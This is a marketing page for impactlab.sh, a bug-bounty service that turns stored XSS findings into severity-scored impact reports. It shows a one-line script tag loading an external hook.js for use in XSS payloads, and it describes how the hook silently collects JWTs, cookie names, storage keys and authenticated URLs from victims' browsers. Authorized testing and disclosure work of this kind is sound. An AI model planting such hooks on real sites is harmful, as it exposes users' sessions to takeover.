Built for bug bounty hunters & pentesters

Turn a Stored XSS
into a Critical Finding

Capture JWT tokens, authenticated sessions, and admin URLs automatically. Score severity. Export a report triagers actually act on.

Free to use · No credit card · Authorized use only

impactlab — live session #a3f9b2c1
14:32:01 [init] Session established — hook executing on target
6
Evidence types captured
9
Scoring factors tracked
120+
Lines in auto-report
6
Secret types auto-redacted
How it works

From payload to P1 in three steps

impactlab.sh handles the evidence layer. You handle the disclosure.

01

Inject the hook

Create a hook, get a script tag. Drop it into your Stored XSS payload. No backend. No external dependencies. One line.

<script src="https://a3f9b2.impactlab.sh/hook.js"></script>
02

Evidence flows in

When a real user's browser fires the payload, the hook silently captures JWT presence, cookies, storage keys, and authenticated URLs — all redacted at the edge before storage.

03

Ship the report

Your session is scored automatically. Export a complete impact report — Markdown or PDF — structured for HackerOne, Bugcrowd, or private programs.

Evidence types

Every signal that matters to a triager

Each data point directly answers: "Can this lead to account takeover?"

🔑
JWT detection
Detects JSON Web Tokens in localStorage, sessionStorage, and cookies. First 12 chars shown, rest redacted.
🔐
Authenticated session
URL pattern analysis confirms the victim was logged in — /dashboard, /app, /account, /workspace, and more.
🍪
Cookie exposure
Lists all non-HttpOnly cookie names accessible to JavaScript. Proves session cookies are stealable.
💾
Storage keys
Captures localStorage and sessionStorage key names. Values only collected when explicitly enabled per hook.
Admin URL
Flags /admin, /billing, /panel, /console and 6 other sensitive path keywords. Auto-detected from URL.
📑
SPA persistence
Tracks navigation across pushState and hashchange — proving the payload executes across multiple pages.
Scoring

Automatic severity classification

Evidence accumulates into a score. Score maps to severity. Severity justifies your report.

75
Critical / High
60+ points — JWT + Auth + Admin
45
Medium
30–59 points — Storage + Cookies
12
Low
0–29 points — Basic execution proof
Score breakdown
Authenticated URL detected+20
JWT detected in storage/cookie+20
localStorage keys present+15
Non-HttpOnly cookie accessible+15
Admin/sensitive URL keyword+10
Multiple pages visited+10
Cross-origin referrer+10
Sensitive DOM keyword+10
HTTPS target+5
Report

A report triagers actually act on

Auto-generated in English. Structured for HackerOne and Bugcrowd. Secrets automatically redacted. Business impact pre-written. Remediation included.

Markdown .md PDF export Copy to clipboard
Report sections Summary · Evidence collected · JWT tokens · Accessible cookies · Storage exposure · Affected URLs · Session timeline · Business impact · Technical details · Remediation · Responsible disclosure note
impactlab-report-a3f9b2c1.md
# Stored XSS — Impact Report
> impactlab.sh · 2025-01-15 14:32 UTC
 
## Summary
| Severity | HIGH · 75 pts
| Vuln type | Stored / Blind XSS
| Affected URL| `https://app.target.com/dashboard`
| Browser | Chrome 120 on Windows
 
## Evidence Collected
- JWT detected in localStorage:
  `eyJhbGci...[redacted 187 chars]`
- Non-HttpOnly cookies: `session_id`, `remember_token`
- Authenticated URL: /dashboard matched
- Admin URL: /admin/billing detected
 
## Business Impact
This vulnerability allows an attacker to steal
session tokens, perform authenticated actions…

Prove the impact.
Ship the report.

Free to start. No credit card. Built for responsible disclosure.

Create your first hook

By using impactlab.sh you agree to our Terms of Authorized Use. For bug bounty and authorized pentesting only.